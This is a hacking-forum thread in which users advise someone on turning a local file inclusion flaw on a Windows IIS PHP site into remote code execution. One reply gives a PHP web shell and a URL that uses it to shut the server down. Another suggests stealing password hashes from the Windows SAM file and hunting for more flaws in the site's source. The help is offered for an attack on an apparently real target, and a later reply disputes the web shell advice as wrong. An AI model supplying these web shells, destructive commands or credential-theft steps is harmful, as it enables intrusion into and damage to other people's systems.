

Forum:[Hack Forums](#)

Thread: [php LFI => RCE \(Windows IIS\)](#)

whitepawn - November 1, 2019, 4:39 am

Hi hacking comrades,

I found a LFI in a php page hosted in Windows IIS.

I am very familiar with the techniques to transform the LFI vulnerability in Remote Code Execution in Linux Env. Eg: though the /var/log/apache2/access.log

Can you share your techniques to do the same on Windows IIS?

Thx,
Whitepawn

compalabee - November 1, 2019, 4:53 am

(Nov 1, 2019 04:39 AM)whitepawn Wrote: [\[CITE\]](#) Hi hacking comrades,

I found a LFI in a php page hosted in Windows IIS.

I am very familiar with the techniques to transform the LFI vulnerability in Remote Code Execution in Linux Env. Eg: though the /var/log/apache2/access.log

Can you share your techniques to do the same on Windows IIS?

Thx,
Whitepawn

Well if it's LFI/RFI, what's stopping you from injecting a web shell?

Inject this file.php:

PHP Code

<?php

```
system($_GET['cmd']);
```

```
?>
```

Commands would thus be

Code www.domainexample.com/file.php?cmd=shutdown -s -t 0

The biggest difference here is that you're talking to a Windows machine, hence you'll be communicating with MS-DOS commands.

Teferi - November 1, 2019, 6:27 am

(Nov 1, 2019 04:39 AM)whitepawn Wrote: [\[CITE\]](#) Hi hacking comrades,

I found a LFI in a php page hosted in Windows IIS.

I am very familiar with the techniques to transform the LFI vulnerability in Remote Code Execution in Linux Env. Eg: though the /var/log/apache2/access.log

Can you share your techniques to do the same on Windows IIS?

Thx,
Whitepaw
Hi Whitepaw,

Usually you're able to inject our malicious code through your User-Agent via /proc/self/environ. Ofcourse you're dealing with a Windows machine, so you'll have to approach this another way. I've come up with a couple methods that might be worth trying:

1. Locate the source code of the website (probably C:\inetpub\wwwroot) and take a whitebox pentest approach and find vulnerabilities.

Tools:

<https://www.mythicsoft.com/agentransack/>

<http://rips-scanner.sourceforge.net/>

2. Check if RDP is enabled (probably port 3389) and try to locate hased passwords. The Windows password is usually "hashed" and stored in the Windows SAM file or security account manager file. The file is located on the system at this particular file path: C:\Windows\System32\Config

Here is a usefull writeup of a HackTheBox challenge:

<https://0xrick.github.io/hack-the-box/bastion/>

Hope this helps, if you need any help just hit me up with a PM

- Teferi

(Nov 1, 2019 04:53 AM)compalabee Wrote: [\[CITE\]](#) Well if it's LFI/RFI, what's stopping you from injecting a web shell?

Inject this file.php:

PHP Code

<?php

system(\$_GET['cmd']);

?>

Commands would thus be

Code www.domainexample.com/file.php?cmd=shutdown -s -t 0

The biggest difference here is that you're talking to a Windows machine, hence you'll be communicating with MS-DOS commands.

This is not how LFI works.

Ramb0x - November 1, 2019, 11:42 am

LFI on windows wont get you anywhere. You cant wget and nothing. But you can rad files with it,